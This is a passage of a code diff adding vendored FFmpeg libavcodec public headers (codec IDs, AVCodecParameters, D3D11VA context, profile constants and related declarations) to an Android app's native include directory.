+    AV_CODEC_ID_EVRC,
+    AV_CODEC_ID_SMV,
+    AV_CODEC_ID_DSD_LSBF,
+    AV_CODEC_ID_DSD_MSBF,
+    AV_CODEC_ID_DSD_LSBF_PLANAR,
+    AV_CODEC_ID_DSD_MSBF_PLANAR,
+    AV_CODEC_ID_4GV,
+    AV_CODEC_ID_INTERPLAY_ACM,
+    AV_CODEC_ID_XMA1,
+    AV_CODEC_ID_XMA2,
+    AV_CODEC_ID_DST,
+    AV_CODEC_ID_ATRAC3AL,
+    AV_CODEC_ID_ATRAC3PAL,
+    AV_CODEC_ID_DOLBY_E,
+    AV_CODEC_ID_APTX,
+    AV_CODEC_ID_APTX_HD,
+    AV_CODEC_ID_SBC,
+    AV_CODEC_ID_ATRAC9,
+    AV_CODEC_ID_HCOM,
+    AV_CODEC_ID_ACELP_KELVIN,
+    AV_CODEC_ID_MPEGH_3D_AUDIO,
+    AV_CODEC_ID_SIREN,
+    AV_CODEC_ID_HCA,
+    AV_CODEC_ID_FASTAUDIO,
+    AV_CODEC_ID_MSNSIREN,
+    AV_CODEC_ID_DFPWM,
+    AV_CODEC_ID_BONK,
+    AV_CODEC_ID_MISC4,
+    AV_CODEC_ID_APAC,
+    AV_CODEC_ID_FTR,
+    AV_CODEC_ID_WAVARC,
+    AV_CODEC_ID_RKA,
+    AV_CODEC_ID_AC4,
+    AV_CODEC_ID_OSQ,
+    AV_CODEC_ID_QOA,
+    AV_CODEC_ID_LC3,
+
+    /* subtitle codecs */
+    AV_CODEC_ID_FIRST_SUBTITLE = 0x17000,          ///< A dummy ID pointing at the start of subtitle codecs.
+    AV_CODEC_ID_DVD_SUBTITLE = 0x17000,
+    AV_CODEC_ID_DVB_SUBTITLE,
+    AV_CODEC_ID_TEXT,  ///< raw UTF-8 text
+    AV_CODEC_ID_XSUB,
+    AV_CODEC_ID_SSA,
+    AV_CODEC_ID_MOV_TEXT,
+    AV_CODEC_ID_HDMV_PGS_SUBTITLE,
+    AV_CODEC_ID_DVB_TELETEXT,
+    AV_CODEC_ID_SRT,
+    AV_CODEC_ID_MICRODVD,
+    AV_CODEC_ID_EIA_608,
+    AV_CODEC_ID_JACOSUB,
+    AV_CODEC_ID_SAMI,
+    AV_CODEC_ID_REALTEXT,
+    AV_CODEC_ID_STL,
+    AV_CODEC_ID_SUBVIEWER1,
+    AV_CODEC_ID_SUBVIEWER,
+    AV_CODEC_ID_SUBRIP,
+    AV_CODEC_ID_WEBVTT,
+    AV_CODEC_ID_MPL2,
+    AV_CODEC_ID_VPLAYER,
+    AV_CODEC_ID_PJS,
+    AV_CODEC_ID_ASS,
+    AV_CODEC_ID_HDMV_TEXT_SUBTITLE,
+    AV_CODEC_ID_TTML,
+    AV_CODEC_ID_ARIB_CAPTION,
+
+    /* other specific kind of codecs (generally used for attachments) */
+    AV_CODEC_ID_FIRST_UNKNOWN = 0x18000,           ///< A dummy ID pointing at the start of various fake codecs.
+    AV_CODEC_ID_TTF = 0x18000,
+
+    AV_CODEC_ID_SCTE_35, ///< Contain timestamp estimated through PCR of program stream.
+    AV_CODEC_ID_EPG,
+    AV_CODEC_ID_BINTEXT,
+    AV_CODEC_ID_XBIN,
+    AV_CODEC_ID_IDF,
+    AV_CODEC_ID_OTF,
+    AV_CODEC_ID_SMPTE_KLV,
+    AV_CODEC_ID_DVD_NAV,
+    AV_CODEC_ID_TIMED_ID3,
+    AV_CODEC_ID_BIN_DATA,
+    AV_CODEC_ID_SMPTE_2038,
+    AV_CODEC_ID_LCEVC,
+
+
+    AV_CODEC_ID_PROBE = 0x19000, ///< codec_id is not known (like AV_CODEC_ID_NONE) but lavf should attempt to identify it
+
+    AV_CODEC_ID_MPEG2TS = 0x20000, /**< _FAKE_ codec to indicate a raw MPEG-2 TS
+                                * stream (only used by libavformat) */
+    AV_CODEC_ID_MPEG4SYSTEMS = 0x20001, /**< _FAKE_ codec to indicate a MPEG-4 Systems
+                                * stream (only used by libavformat) */
+    AV_CODEC_ID_FFMETADATA = 0x21000,   ///< Dummy codec for streams containing only metadata information.
+    AV_CODEC_ID_WRAPPED_AVFRAME = 0x21001, ///< Passthrough codec, AVFrames wrapped in AVPacket
+    /**
+     * Dummy null video codec, useful mainly for development and debugging.
+     * Null encoder/decoder discard all input and never return any output.
+     */
+    AV_CODEC_ID_VNULL,
+    /**
+     * Dummy null audio codec, useful mainly for development and debugging.
+     * Null encoder/decoder discard all input and never return any output.
+     */
+    AV_CODEC_ID_ANULL,
+};
+
+/**
+ * Get the type of the given codec.
+ */
+enum AVMediaType avcodec_get_type(enum AVCodecID codec_id);
+
+/**
+ * Get the name of a codec.
+ * @return  a static string identifying the codec; never NULL
+ */
+const char *avcodec_get_name(enum AVCodecID id);
+
+/**
+ * Return codec bits per sample.
+ *
+ * @param[in] codec_id the codec
+ * @return Number of bits per sample or zero if unknown for the given codec.
+ */
+int av_get_bits_per_sample(enum AVCodecID codec_id);
+
+/**
+ * Return codec bits per sample.
+ * Only return non-zero if the bits per sample is exactly correct, not an
+ * approximation.
+ *
+ * @param[in] codec_id the codec
+ * @return Number of bits per sample or zero if unknown for the given codec.
+ */
+int av_get_exact_bits_per_sample(enum AVCodecID codec_id);
+
+/**
+ * Return a name for the specified profile, if available.
+ *
+ * @param codec_id the ID of the codec to which the requested profile belongs
+ * @param profile the profile value for which a name is requested
+ * @return A name for the profile if found, NULL otherwise.
+ *
+ * @note unlike av_get_profile_name(), which searches a list of profiles
+ *       supported by a specific decoder or encoder implementation, this
+ *       function searches the list of profiles from the AVCodecDescriptor
+ */
+const char *avcodec_profile_name(enum AVCodecID codec_id, int profile);
+
+/**
+ * Return the PCM codec associated with a sample format.
+ * @param be  endianness, 0 for little, 1 for big,
+ *            -1 (or anything else) for native
+ * @return  AV_CODEC_ID_PCM_* or AV_CODEC_ID_NONE
+ */
+enum AVCodecID av_get_pcm_codec(enum AVSampleFormat fmt, int be);
+
+/**
+ * @}
+ */
+
+#endif // AVCODEC_CODEC_ID_H

app/src/main/jniLibs/arm64-v8a/include/libavcodec/codec_par.h

@@ -0,0 +1,248 @@
+/*
+ * Codec parameters public API
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_CODEC_PAR_H
+#define AVCODEC_CODEC_PAR_H
+
+#include <stdint.h>
+
+#include "libavutil/avutil.h"
+#include "libavutil/channel_layout.h"
+#include "libavutil/rational.h"
+#include "libavutil/pixfmt.h"
+
+#include "codec_id.h"
+#include "defs.h"
+#include "packet.h"
+
+/**
+ * @addtogroup lavc_core
+ * @{
+ */
+
+/**
+ * This struct describes the properties of an encoded stream.
+ *
+ * sizeof(AVCodecParameters) is not a part of the public ABI, this struct must
+ * be allocated with avcodec_parameters_alloc() and freed with
+ * avcodec_parameters_free().
+ */
+typedef struct AVCodecParameters {
+    /**
+     * General type of the encoded data.
+     */
+    enum AVMediaType codec_type;
+    /**
+     * Specific type of the encoded data (the codec used).
+     */
+    enum AVCodecID   codec_id;
+    /**
+     * Additional information about the codec (corresponds to the AVI FOURCC).
+     */
+    uint32_t         codec_tag;
+
+    /**
+     * Extra binary data needed for initializing the decoder, codec-dependent.
+     *
+     * Must be allocated with av_malloc() and will be freed by
+     * avcodec_parameters_free(). The allocated size of extradata must be at
+     * least extradata_size + AV_INPUT_BUFFER_PADDING_SIZE, with the padding
+     * bytes zeroed.
+     */
+    uint8_t *extradata;
+    /**
+     * Size of the extradata content in bytes.
+     */
+    int      extradata_size;
+
+    /**
+     * Additional data associated with the entire stream.
+     *
+     * Should be allocated with av_packet_side_data_new() or
+     * av_packet_side_data_add(), and will be freed by avcodec_parameters_free().
+     */
+    AVPacketSideData *coded_side_data;
+
+    /**
+     * Amount of entries in @ref coded_side_data.
+     */
+    int nb_coded_side_data;
+
+    /**
+     * - video: the pixel format, the value corresponds to enum AVPixelFormat.
+     * - audio: the sample format, the value corresponds to enum AVSampleFormat.
+     */
+    int format;
+
+    /**
+     * The average bitrate of the encoded data (in bits per second).
+     */
+    int64_t bit_rate;
+
+    /**
+     * The number of bits per sample in the codedwords.
+     *
+     * This is basically the bitrate per sample. It is mandatory for a bunch of
+     * formats to actually decode them. It's the number of bits for one sample in
+     * the actual coded bitstream.
+     *
+     * This could be for example 4 for ADPCM
+     * For PCM formats this matches bits_per_raw_sample
+     * Can be 0
+     */
+    int bits_per_coded_sample;
+
+    /**
+     * This is the number of valid bits in each output sample. If the
+     * sample format has more bits, the least significant bits are additional
+     * padding bits, which are always 0. Use right shifts to reduce the sample
+     * to its actual size. For example, audio formats with 24 bit samples will
+     * have bits_per_raw_sample set to 24, and format set to AV_SAMPLE_FMT_S32.
+     * To get the original sample use "(int32_t)sample >> 8"."
+     *
+     * For ADPCM this might be 12 or 16 or similar
+     * Can be 0
+     */
+    int bits_per_raw_sample;
+
+    /**
+     * Codec-specific bitstream restrictions that the stream conforms to.
+     */
+    int profile;
+    int level;
+
+    /**
+     * Video only. The dimensions of the video frame in pixels.
+     */
+    int width;
+    int height;
+
+    /**
+     * Video only. The aspect ratio (width / height) which a single pixel
+     * should have when displayed.
+     *
+     * When the aspect ratio is unknown / undefined, the numerator should be
+     * set to 0 (the denominator may have any value).
+     */
+    AVRational sample_aspect_ratio;
+
+    /**
+     * Video only. Number of frames per second, for streams with constant frame
+     * durations. Should be set to { 0, 1 } when some frames have differing
+     * durations or if the value is not known.
+     *
+     * @note This field correponds to values that are stored in codec-level
+     * headers and is typically overridden by container/transport-layer
+     * timestamps, when available. It should thus be used only as a last resort,
+     * when no higher-level timing information is available.
+     */
+    AVRational framerate;
+
+    /**
+     * Video only. The order of the fields in interlaced video.
+     */
+    enum AVFieldOrder                  field_order;
+
+    /**
+     * Video only. Additional colorspace characteristics.
+     */
+    enum AVColorRange                  color_range;
+    enum AVColorPrimaries              color_primaries;
+    enum AVColorTransferCharacteristic color_trc;
+    enum AVColorSpace                  color_space;
+    enum AVChromaLocation              chroma_location;
+
+    /**
+     * Video only. Number of delayed frames.
+     */
+    int video_delay;
+
+    /**
+     * Audio only. The channel layout and number of channels.
+     */
+    AVChannelLayout ch_layout;
+    /**
+     * Audio only. The number of audio samples per second.
+     */
+    int      sample_rate;
+    /**
+     * Audio only. The number of bytes per coded audio frame, required by some
+     * formats.
+     *
+     * Corresponds to nBlockAlign in WAVEFORMATEX.
+     */
+    int      block_align;
+    /**
+     * Audio only. Audio frame size, if known. Required by some formats to be static.
+     */
+    int      frame_size;
+
+    /**
+     * Audio only. The amount of padding (in samples) inserted by the encoder at
+     * the beginning of the audio. I.e. this number of leading decoded samples
+     * must be discarded by the caller to get the original audio without leading
+     * padding.
+     */
+    int initial_padding;
+    /**
+     * Audio only. The amount of padding (in samples) appended by the encoder to
+     * the end of the audio. I.e. this number of decoded samples must be
+     * discarded by the caller from the end of the stream to get the original
+     * audio without any trailing padding.
+     */
+    int trailing_padding;
+    /**
+     * Audio only. Number of samples to skip after a discontinuity.
+     */
+    int seek_preroll;
+} AVCodecParameters;
+
+/**
+ * Allocate a new AVCodecParameters and set its fields to default values
+ * (unknown/invalid/0). The returned struct must be freed with
+ * avcodec_parameters_free().
+ */
+AVCodecParameters *avcodec_parameters_alloc(void);
+
+/**
+ * Free an AVCodecParameters instance and everything associated with it and
+ * write NULL to the supplied pointer.
+ */
+void avcodec_parameters_free(AVCodecParameters **par);
+
+/**
+ * Copy the contents of src to dst. Any allocated fields in dst are freed and
+ * replaced with newly allocated duplicates of the corresponding fields in src.
+ *
+ * @return >= 0 on success, a negative AVERROR code on failure.
+ */
+int avcodec_parameters_copy(AVCodecParameters *dst, const AVCodecParameters *src);
+
+/**
+ * This function is the same as av_get_audio_frame_duration(), except it works
+ * with AVCodecParameters instead of an AVCodecContext.
+ */
+int av_get_audio_frame_duration2(AVCodecParameters *par, int frame_bytes);
+
+/**
+ * @}
+ */
+
+#endif // AVCODEC_CODEC_PAR_H

app/src/main/jniLibs/arm64-v8a/include/libavcodec/d3d11va.h

@@ -0,0 +1,109 @@
+/*
+ * Direct3D11 HW acceleration
+ *
+ * copyright (c) 2009 Laurent Aimar
+ * copyright (c) 2015 Steve Lhomme
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_D3D11VA_H
+#define AVCODEC_D3D11VA_H
+
+/**
+ * @file
+ * @ingroup lavc_codec_hwaccel_d3d11va
+ * Public libavcodec D3D11VA header.
+ */
+
+#if !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602
+#undef _WIN32_WINNT
+#define _WIN32_WINNT 0x0602
+#endif
+
+#include <stdint.h>
+#include <d3d11.h>
+
+/**
+ * @defgroup lavc_codec_hwaccel_d3d11va Direct3D11
+ * @ingroup lavc_codec_hwaccel
+ *
+ * @{
+ */
+
+/**
+ * This structure is used to provides the necessary configurations and data
+ * to the Direct3D11 FFmpeg HWAccel implementation.
+ *
+ * The application must make it available as AVCodecContext.hwaccel_context.
+ *
+ * Use av_d3d11va_alloc_context() exclusively to allocate an AVD3D11VAContext.
+ */
+typedef struct AVD3D11VAContext {
+    /**
+     * D3D11 decoder object
+     */
+    ID3D11VideoDecoder *decoder;
+
+    /**
+      * D3D11 VideoContext
+      */
+    ID3D11VideoContext *video_context;
+
+    /**
+     * D3D11 configuration used to create the decoder
+     */
+    D3D11_VIDEO_DECODER_CONFIG *cfg;
+
+    /**
+     * The number of surface in the surface array
+     */
+    unsigned surface_count;
+
+    /**
+     * The array of Direct3D surfaces used to create the decoder
+     */
+    ID3D11VideoDecoderOutputView **surface;
+
+    /**
+     * A bit field configuring the workarounds needed for using the decoder
+     */
+    uint64_t workaround;
+
+    /**
+     * Private to the FFmpeg AVHWAccel implementation
+     */
+    unsigned report_id;
+
+    /**
+      * Mutex to access video_context
+      */
+    HANDLE  context_mutex;
+} AVD3D11VAContext;
+
+/**
+ * Allocate an AVD3D11VAContext.
+ *
+ * @return Newly-allocated AVD3D11VAContext or NULL on failure.
+ */
+AVD3D11VAContext *av_d3d11va_alloc_context(void);
+
+/**
+ * @}
+ */
+
+#endif /* AVCODEC_D3D11VA_H */

app/src/main/jniLibs/arm64-v8a/include/libavcodec/defs.h

@@ -0,0 +1,337 @@
+/*
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_DEFS_H
+#define AVCODEC_DEFS_H
+
+/**
+ * @file
+ * @ingroup libavc
+ * Misc types and constants that do not belong anywhere else.
+ */
+
+#include <stdint.h>
+#include <stdlib.h>
+
+/**
+ * @ingroup lavc_decoding
+ * Required number of additionally allocated bytes at the end of the input bitstream for decoding.
+ * This is mainly needed because some optimized bitstream readers read
+ * 32 or 64 bit at once and could read over the end.<br>
+ * Note: If the first 23 bits of the additional bytes are not 0, then damaged
+ * MPEG bitstreams could cause overread and segfault.
+ */
+#define AV_INPUT_BUFFER_PADDING_SIZE 64
+
+/**
+ * Verify checksums embedded in the bitstream (could be of either encoded or
+ * decoded data, depending on the format) and print an error message on mismatch.
+ * If AV_EF_EXPLODE is also set, a mismatching checksum will result in the
+ * decoder/demuxer returning an error.
+ */
+#define AV_EF_CRCCHECK       (1<<0)
+#define AV_EF_BITSTREAM      (1<<1)   ///< detect bitstream specification deviations
+#define AV_EF_BUFFER         (1<<2)   ///< detect improper bitstream length
+#define AV_EF_EXPLODE        (1<<3)   ///< abort decoding on minor error detection
+
+#define AV_EF_IGNORE_ERR     (1<<15)  ///< ignore errors and continue
+#define AV_EF_CAREFUL        (1<<16)  ///< consider things that violate the spec, are fast to calculate and have not been seen in the wild as errors
+#define AV_EF_COMPLIANT      (1<<17)  ///< consider all spec non compliances as errors
+#define AV_EF_AGGRESSIVE     (1<<18)  ///< consider things that a sane encoder/muxer should not do as an error
+
+#define FF_COMPLIANCE_VERY_STRICT   2 ///< Strictly conform to an older more strict version of the spec or reference software.
+#define FF_COMPLIANCE_STRICT        1 ///< Strictly conform to all the things in the spec no matter what consequences.
+#define FF_COMPLIANCE_NORMAL        0
+#define FF_COMPLIANCE_UNOFFICIAL   -1 ///< Allow unofficial extensions
+#define FF_COMPLIANCE_EXPERIMENTAL -2 ///< Allow nonstandardized experimental things.
+
+
+#define AV_PROFILE_UNKNOWN        -99
+#define AV_PROFILE_RESERVED      -100
+
+#define AV_PROFILE_AAC_MAIN         0
+#define AV_PROFILE_AAC_LOW          1
+#define AV_PROFILE_AAC_SSR          2
+#define AV_PROFILE_AAC_LTP          3
+#define AV_PROFILE_AAC_HE           4
+#define AV_PROFILE_AAC_HE_V2       28
+#define AV_PROFILE_AAC_LD          22
+#define AV_PROFILE_AAC_ELD         38
+#define AV_PROFILE_AAC_USAC        41
+#define AV_PROFILE_MPEG2_AAC_LOW  128
+#define AV_PROFILE_MPEG2_AAC_HE   131
+
+#define AV_PROFILE_DNXHD         0
+#define AV_PROFILE_DNXHR_LB      1
+#define AV_PROFILE_DNXHR_SQ      2
+#define AV_PROFILE_DNXHR_HQ      3
+#define AV_PROFILE_DNXHR_HQX     4
+#define AV_PROFILE_DNXHR_444     5
+
+#define AV_PROFILE_DTS                20
+#define AV_PROFILE_DTS_ES             30
+#define AV_PROFILE_DTS_96_24          40
+#define AV_PROFILE_DTS_HD_HRA         50
+#define AV_PROFILE_DTS_HD_MA          60
+#define AV_PROFILE_DTS_EXPRESS        70
+#define AV_PROFILE_DTS_HD_MA_X        61
+#define AV_PROFILE_DTS_HD_MA_X_IMAX   62
+
+#define AV_PROFILE_EAC3_DDP_ATMOS         30
+
+#define AV_PROFILE_TRUEHD_ATMOS           30
+
+#define AV_PROFILE_MPEG2_422           0
+#define AV_PROFILE_MPEG2_HIGH          1
+#define AV_PROFILE_MPEG2_SS            2
+#define AV_PROFILE_MPEG2_SNR_SCALABLE  3
+#define AV_PROFILE_MPEG2_MAIN          4
+#define AV_PROFILE_MPEG2_SIMPLE        5
+
+#define AV_PROFILE_H264_CONSTRAINED  (1<<9)  // 8+1; constraint_set1_flag
+#define AV_PROFILE_H264_INTRA        (1<<11) // 8+3; constraint_set3_flag
+
+#define AV_PROFILE_H264_BASELINE             66
+#define AV_PROFILE_H264_CONSTRAINED_BASELINE (66|AV_PROFILE_H264_CONSTRAINED)
+#define AV_PROFILE_H264_MAIN                 77
+#define AV_PROFILE_H264_EXTENDED             88
+#define AV_PROFILE_H264_HIGH                 100
+#define AV_PROFILE_H264_HIGH_10              110
+#define AV_PROFILE_H264_HIGH_10_INTRA        (110|AV_PROFILE_H264_INTRA)
+#define AV_PROFILE_H264_MULTIVIEW_HIGH       118
+#define AV_PROFILE_H264_HIGH_422             122
+#define AV_PROFILE_H264_HIGH_422_INTRA       (122|AV_PROFILE_H264_INTRA)
+#define AV_PROFILE_H264_STEREO_HIGH          128
+#define AV_PROFILE_H264_HIGH_444             144
+#define AV_PROFILE_H264_HIGH_444_PREDICTIVE  244
+#define AV_PROFILE_H264_HIGH_444_INTRA       (244|AV_PROFILE_H264_INTRA)
+#define AV_PROFILE_H264_CAVLC_444            44
+
+#define AV_PROFILE_VC1_SIMPLE   0
+#define AV_PROFILE_VC1_MAIN     1
+#define AV_PROFILE_VC1_COMPLEX  2
+#define AV_PROFILE_VC1_ADVANCED 3
+
+#define AV_PROFILE_MPEG4_SIMPLE                     0
+#define AV_PROFILE_MPEG4_SIMPLE_SCALABLE            1
+#define AV_PROFILE_MPEG4_CORE                       2
+#define AV_PROFILE_MPEG4_MAIN                       3
+#define AV_PROFILE_MPEG4_N_BIT                      4
+#define AV_PROFILE_MPEG4_SCALABLE_TEXTURE           5
+#define AV_PROFILE_MPEG4_SIMPLE_FACE_ANIMATION      6
+#define AV_PROFILE_MPEG4_BASIC_ANIMATED_TEXTURE     7
+#define AV_PROFILE_MPEG4_HYBRID                     8
+#define AV_PROFILE_MPEG4_ADVANCED_REAL_TIME         9
+#define AV_PROFILE_MPEG4_CORE_SCALABLE             10
+#define AV_PROFILE_MPEG4_ADVANCED_CODING           11
+#define AV_PROFILE_MPEG4_ADVANCED_CORE             12
+#define AV_PROFILE_MPEG4_ADVANCED_SCALABLE_TEXTURE 13
+#define AV_PROFILE_MPEG4_SIMPLE_STUDIO             14
+#define AV_PROFILE_MPEG4_ADVANCED_SIMPLE           15
+
+#define AV_PROFILE_JPEG2000_CSTREAM_RESTRICTION_0   1
+#define AV_PROFILE_JPEG2000_CSTREAM_RESTRICTION_1   2
+#define AV_PROFILE_JPEG2000_CSTREAM_NO_RESTRICTION  32768
+#define AV_PROFILE_JPEG2000_DCINEMA_2K              3
+#define AV_PROFILE_JPEG2000_DCINEMA_4K              4
+
+#define AV_PROFILE_VP9_0                            0
+#define AV_PROFILE_VP9_1                            1
+#define AV_PROFILE_VP9_2                            2
+#define AV_PROFILE_VP9_3                            3
+
+#define AV_PROFILE_HEVC_MAIN                        1
+#define AV_PROFILE_HEVC_MAIN_10                     2
+#define AV_PROFILE_HEVC_MAIN_STILL_PICTURE          3
+#define AV_PROFILE_HEVC_REXT                        4
+#define AV_PROFILE_HEVC_MULTIVIEW_MAIN              6
+#define AV_PROFILE_HEVC_SCC                         9
+
+#define AV_PROFILE_VVC_MAIN_10                      1
+#define AV_PROFILE_VVC_MAIN_10_444                 33
+
+#define AV_PROFILE_AV1_MAIN                         0
+#define AV_PROFILE_AV1_HIGH                         1
+#define AV_PROFILE_AV1_PROFESSIONAL                 2
+
+#define AV_PROFILE_MJPEG_HUFFMAN_BASELINE_DCT            0xc0
+#define AV_PROFILE_MJPEG_HUFFMAN_EXTENDED_SEQUENTIAL_DCT 0xc1
+#define AV_PROFILE_MJPEG_HUFFMAN_PROGRESSIVE_DCT         0xc2
+#define AV_PROFILE_MJPEG_HUFFMAN_LOSSLESS                0xc3
+#define AV_PROFILE_MJPEG_JPEG_LS                         0xf7
+
+#define AV_PROFILE_SBC_MSBC                         1
+
+#define AV_PROFILE_PRORES_PROXY     0
+#define AV_PROFILE_PRORES_LT        1
+#define AV_PROFILE_PRORES_STANDARD  2
+#define AV_PROFILE_PRORES_HQ        3
+#define AV_PROFILE_PRORES_4444      4
+#define AV_PROFILE_PRORES_XQ        5
+
+#define AV_PROFILE_ARIB_PROFILE_A 0
+#define AV_PROFILE_ARIB_PROFILE_C 1
+
+#define AV_PROFILE_KLVA_SYNC  0
+#define AV_PROFILE_KLVA_ASYNC 1
+
+#define AV_PROFILE_EVC_BASELINE             0
+#define AV_PROFILE_EVC_MAIN                 1
+
+
+#define AV_LEVEL_UNKNOWN                  -99
+
+enum AVFieldOrder {
+    AV_FIELD_UNKNOWN,
+    AV_FIELD_PROGRESSIVE,
+    AV_FIELD_TT,          ///< Top coded_first, top displayed first
+    AV_FIELD_BB,          ///< Bottom coded first, bottom displayed first
+    AV_FIELD_TB,          ///< Top coded first, bottom displayed first
+    AV_FIELD_BT,          ///< Bottom coded first, top displayed first
+};
+
+/**
+ * @ingroup lavc_decoding
+ */
+enum AVDiscard{
+    /* We leave some space between them for extensions (drop some
+     * keyframes for intra-only or drop just some bidir frames). */
+    AVDISCARD_NONE    =-16, ///< discard nothing
+    AVDISCARD_DEFAULT =  0, ///< discard useless packets like 0 size packets in avi
+    AVDISCARD_NONREF  =  8, ///< discard all non reference
+    AVDISCARD_BIDIR   = 16, ///< discard all bidirectional frames
+    AVDISCARD_NONINTRA= 24, ///< discard all non intra frames
+    AVDISCARD_NONKEY  = 32, ///< discard all frames except keyframes
+    AVDISCARD_ALL     = 48, ///< discard all
+};
+
+enum AVAudioServiceType {
+    AV_AUDIO_SERVICE_TYPE_MAIN              = 0,
+    AV_AUDIO_SERVICE_TYPE_EFFECTS           = 1,
+    AV_AUDIO_SERVICE_TYPE_VISUALLY_IMPAIRED = 2,
+    AV_AUDIO_SERVICE_TYPE_HEARING_IMPAIRED  = 3,
+    AV_AUDIO_SERVICE_TYPE_DIALOGUE          = 4,
+    AV_AUDIO_SERVICE_TYPE_COMMENTARY        = 5,
+    AV_AUDIO_SERVICE_TYPE_EMERGENCY         = 6,
+    AV_AUDIO_SERVICE_TYPE_VOICE_OVER        = 7,
+    AV_AUDIO_SERVICE_TYPE_KARAOKE           = 8,
+    AV_AUDIO_SERVICE_TYPE_NB                   , ///< Not part of ABI
+};
+
+/**
+ * Pan Scan area.
+ * This specifies the area which should be displayed.
+ * Note there may be multiple such areas for one frame.
+ */
+typedef struct AVPanScan {
+    /**
+     * id
+     * - encoding: Set by user.
+     * - decoding: Set by libavcodec.
+     */
+    int id;
+
+    /**
+     * width and height in 1/16 pel
+     * - encoding: Set by user.
+     * - decoding: Set by libavcodec.
+     */
+    int width;
+    int height;
+
+    /**
+     * position of the top left corner in 1/16 pel for up to 3 fields/frames
+     * - encoding: Set by user.
+     * - decoding: Set by libavcodec.
+     */
+    int16_t position[3][2];
+} AVPanScan;
+
+/**
+ * This structure describes the bitrate properties of an encoded bitstream. It
+ * roughly corresponds to a subset the VBV parameters for MPEG-2 or HRD
+ * parameters for H.264/HEVC.
+ */
+typedef struct AVCPBProperties {
+    /**
+     * Maximum bitrate of the stream, in bits per second.
+     * Zero if unknown or unspecified.
+     */
+    int64_t max_bitrate;
+    /**
+     * Minimum bitrate of the stream, in bits per second.
+     * Zero if unknown or unspecified.
+     */
+    int64_t min_bitrate;
+    /**
+     * Average bitrate of the stream, in bits per second.
+     * Zero if unknown or unspecified.
+     */
+    int64_t avg_bitrate;
+
+    /**
+     * The size of the buffer to which the ratecontrol is applied, in bits.
+     * Zero if unknown or unspecified.
+     */
+    int64_t buffer_size;
+
+    /**
+     * The delay between the time the packet this structure is associated with
+     * is received and the time when it should be decoded, in periods of a 27MHz
+     * clock.
+     *
+     * UINT64_MAX when unknown or unspecified.
+     */
+    uint64_t vbv_delay;
+} AVCPBProperties;
+
+/**
+ * Allocate a CPB properties structure and initialize its fields to default
+ * values.
+ *
+ * @param size if non-NULL, the size of the allocated struct will be written
+ *             here. This is useful for embedding it in side data.
+ *
+ * @return the newly allocated struct or NULL on failure
+ */
+AVCPBProperties *av_cpb_properties_alloc(size_t *size);
+
+/**
+ * This structure supplies correlation between a packet timestamp and a wall clock
+ * production time. The definition follows the Producer Reference Time ('prft')
+ * as defined in ISO/IEC 14496-12
+ */
+typedef struct AVProducerReferenceTime {
+    /**
+     * A UTC timestamp, in microseconds, since Unix epoch (e.g, av_gettime()).
+     */
+    int64_t wallclock;
+    int flags;
+} AVProducerReferenceTime;
+
+/**
+ * Encode extradata length to a buffer. Used by xiph codecs.
+ *
+ * @param s buffer to write to; must be at least (v/255+1) bytes long
+ * @param v size of extradata in bytes
+ * @return number of bytes written to the buffer.
+ */
+unsigned int av_xiphlacing(unsigned char *s, unsigned int v);
+
+#endif // AVCODEC_DEFS_H

app/src/main/jniLibs/arm64-v8a/include/libavcodec/dirac.h

@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2007 Marco Gerards <marco@gnu.org>
+ * Copyright (C) 2009 David Conrad
+ * Copyright (C) 2011 Jordi Ortiz
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVCODEC_DIRAC_H
+#define AVCODEC_DIRAC_H
+
+/**
+ * @file
+ * Interface to Dirac Decoder/Encoder
+ * @author Marco Gerards <marco@gnu.org>
+ * @author David Conrad
+ * @author Jordi Ortiz
+ */
+
+#include <stddef.h>
+#include <stdint.h>
+
+#include "libavutil/pixfmt.h"
+#include "libavutil/rational.h"
+
